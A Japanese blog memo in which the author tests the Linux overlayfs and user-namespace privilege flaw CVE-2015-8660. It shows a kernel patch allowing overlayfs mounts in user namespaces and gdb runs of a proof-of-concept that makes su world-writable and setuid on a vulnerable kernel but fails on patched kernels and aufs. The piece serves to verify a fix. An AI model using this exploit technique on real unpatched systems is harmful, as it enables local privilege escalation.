[Linux][Kernel][Security] User Namespace と Overlayfs と CVE-2015-8660
単なるメモです。
aufs-users ML に流れた、Overlayfs と User Namespace(userns) を併せて使った時の脆弱性のお話:
脆弱性の内容は
これに関連する脆弱性として CVE-2015-8660 があるようで、これはすでに修正済みで、上記に書かれた脆弱性もこれで影響なくなるらしい。
aufs で userns は aufs を使った一般ユーザ権限で起動するコンテナ - TenForwardの日記 のあたりの話で、普段から allow_userns=1 で使ってるので、少し興味をそそられたので試してみました。
ただ、上記に書かれている脆弱性ですが、そもそも vanilla kernel だと userns 内の特権ユーザでも overlayfs のマウントはできないので、ここに書かれている userns 内で Overlayfs マウントして悪いことする、ってのは無理なような気がするので、パッチを当てて userns 内で Overlayfs マウントができるようにしている Ubuntu 特有の話に思えるけど、他にできるようにしてるディストリビューションあるのかな?
Plamo でも Ubuntu を真似して、userns 内で overlayfs マウント可能にしてます。こんなパッチ:
diff -uNr linux-4.2/fs/overlayfs/super.c linux-4.2-olfs/fs/overlayfs/super.c --- linux-4.2/fs/overlayfs/super.c 2015-08-31 03:34:09.000000000 +0900 +++ linux-4.2-olfs/fs/overlayfs/super.c 2015-09-02 16:09:24.339937219 +0900 @@ -1097,6 +1097,7 @@ .name = "overlay", .mount = ovl_mount, .kill_sb = kill_anon_super, + .fs_flags = FS_USERNS_MOUNT, }; MODULE_ALIAS_FS("overlay");
(参考:overlayfs と LXC 非特権コンテナの snapshot によるクローン - TenForwardの日記の「Plamo 5.2の非特権コンテナのclone」の項)
とりあえず aufs-users ML にあったパッチを当てて試してみました。aufs では成功しないけど…
試した環境は
- Kernel 4.2.3 に aufs パッチと前述の userns 内で overlayfs マウント可能にするパッチを当てた環境(脆弱性あり)
- Kernel 4.4 に aufs パッチと前述の userns 内で overlayfs マウント可能にするパッチを当てた環境(脆弱性なし)
Kernel 4.2.3 の Overlayfs
$ ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash Setting uid map in /proc/3749/uid_map Setting gid map in /proc/3749/gid_map euid: 65534, egid: 65534 euid: 0, egid: 0 overlayfs Namespace helper waiting for modification completion Namespace part completed
成功してるらしいけど、これだけだと何がなんだか謎なので、gdb でステップ実行しながら、Overlayfs マウントして su を chmod したあたりで止めてチェックしてみました。
$ gdb ./UserNamespaceOverlayfsSetuidWriteExec (gdb) set follow-fork-mode child (gdb) b 63 Breakpoint 1 at 0x400fb5: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63. (gdb) run -- /bin/bash Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 [New process 3236] Setting uid map in /proc/3236/uid_map Setting gid map in /proc/3236/gid_map euid: 0, egid: 0 euid: 0, egid: 0 [Switching to process 3236] Breakpoint 1, childFunc (arg=0x7fffffffe668) at UserNamespaceOverlayfsSetuidWriteExec.c:63 63 result=chmod("su", 04777); (gdb) n 64 if(result) { (gdb) p result $1 = 0 (gdb)
ここで止めます。別シェルで
$ sudo nsenter -t 3908 -m -U plamo64:/# ls -l /tmp/x/bin/su -rwsrwxrwx 1 nobody nogroup 161 1月 15 18:38 /tmp/x/bin/su plamo64:/# ls -l /tmp/x/over/su -rwsrwxrwx 1 nobody nogroup 161 1月 15 18:38 /tmp/x/over/su
ここで su のパーミッションが変わっているのがマズいんだと思う。
Kernel 4.4 の Overlayfs
対策済みなカーネルでやるとこんな風に。
$ ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash Setting uid map in /proc/4960/uid_map euid: 65534, egid: 65534 Setting gid map in /proc/4960/gid_map euid: 0, egid: 0 overlayfs Mode change failed Failed to open /proc/4960/cwd/su, error No such file or directory
同じように gdb から起動して chmod のあとで止めてみます。
$ gdb ./UserNamespaceOverlayfsSetuidWriteExec (gdb) set follow-fork-mode child (gdb) b 63 Breakpoint 1 at 0x400ff1: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63. (gdb) set env TRY_AUFS=1 (gdb) run -- /bin/bash Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 [New process 3215] Setting uid map in /proc/3215/uid_map Setting gid map in /proc/3215/gid_map euid: 0, egid: 0 euid: 0, egid: 0 aufs [Switching to process 3215] Breakpoint 1, childFunc (arg=0x7fffffffe668) at UserNamespaceOverlayfsSetuidWriteExec.c:63 63 result=chmod("su", 04777); (gdb) n Failed to open /proc/3215/cwd/su, error Permission denied 64 if(result) { (gdb) p result $1 = -1 (gdb)
上記で失敗しているのはわかるんだけど、ここで同じく別シェルを開いて一応確認。
$ sudo nsenter -t 3215 -m -U plamo64:/# ls -l /tmp/x/bin/su -rwsr-xr-x 1 nobody nogroup 37400 1月 22 2015 /tmp/x/bin/su plamo64:/# ls -l /tmp/x/over/su -rwsr-xr-x 1 nobody nogroup 37400 1月 22 2015 /tmp/x/over/su
Kernel 4.2.3 の aufs (allow_userns=1)
allow_userns=1 で実行。
$ TRY_AUFS=1 ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash Setting uid map in /proc/3321/uid_map Setting gid map in /proc/3321/gid_map euid: 0, egid: 0 euid: 0, egid: 0 aufs Mode change failed Failed to open /proc/3321/cwd/su, error Permission denied
$ gdb ./UserNamespaceOverlayfsSetuidWriteExec (gdb) set follow-fork-mode child (gdb) set env TRY_AUFS=1 (gdb) b 63 Breakpoint 1 at 0x400ff1: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63. (gdb) run -- /bin/bash Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash [New process 3399] Setting uid map in /proc/3399/uid_map Setting gid map in /proc/3399/gid_map euid: 0, egid: 0 euid: 0, egid: 0 aufs [Switching to process 3399] Breakpoint 1, childFunc (arg=0x7fffffffe668) at UserNamespaceOverlayfsSetuidWriteExec.c:63 63 result=chmod("su", 04777); (gdb) n 64 if(result) { (gdb) p result $1 = -1 (gdb) n 65 fprintf(stderr, "Mode change failed\n");
Kernel 4.2.3 の aufs (allow_userns=0)
allow_userns=0 にすると、そもそも Userns 内のユーザはマウントできないので
$ TRY_AUFS=1 ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash Setting uid map in /proc/3245/uid_map Setting gid map in /proc/3245/gid_map euid: 0, egid: 0 euid: 0, egid: 0 aufs Overlay mounting failed: 1 (Operation not permitted)
Kernel 4.4.0 の aufs
4.2.3 と同じような動き。
$ TRY_AUFS=1 ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash Setting uid map in /proc/3202/uid_map Setting gid map in /proc/3202/gid_map euid: 0, egid: 65534 euid: 0, egid: 0 aufs Mode change failed Failed to open /proc/3202/cwd/su, error Permission denied
$ gdb ./UserNamespaceOverlayfsSetuidWriteExec (gdb) set follow-fork-mode child (gdb) b 63 Breakpoint 1 at 0x400ff1: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63. (gdb) set env TRY_AUFS=1 (gdb) run -- /bin/bash Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 [New process 3215] Setting uid map in /proc/3215/uid_map Setting gid map in /proc/3215/gid_map euid: 0, egid: 0 euid: 0, egid: 0 aufs [Switching to process 3215] Breakpoint 1, childFunc (arg=0x7fffffffe668) at UserNamespaceOverlayfsSetuidWriteExec.c:63 63 result=chmod("su", 04777); (gdb) n Failed to open /proc/3215/cwd/su, error Permission denied 64 if(result) { (gdb) p result $1 = -1 (gdb) n 65 fprintf(stderr, "Mode change failed\n"); (gdb)
(2016-01-20 追記) http://lwn.net/Articles/671641/ にこの件が載っていますね。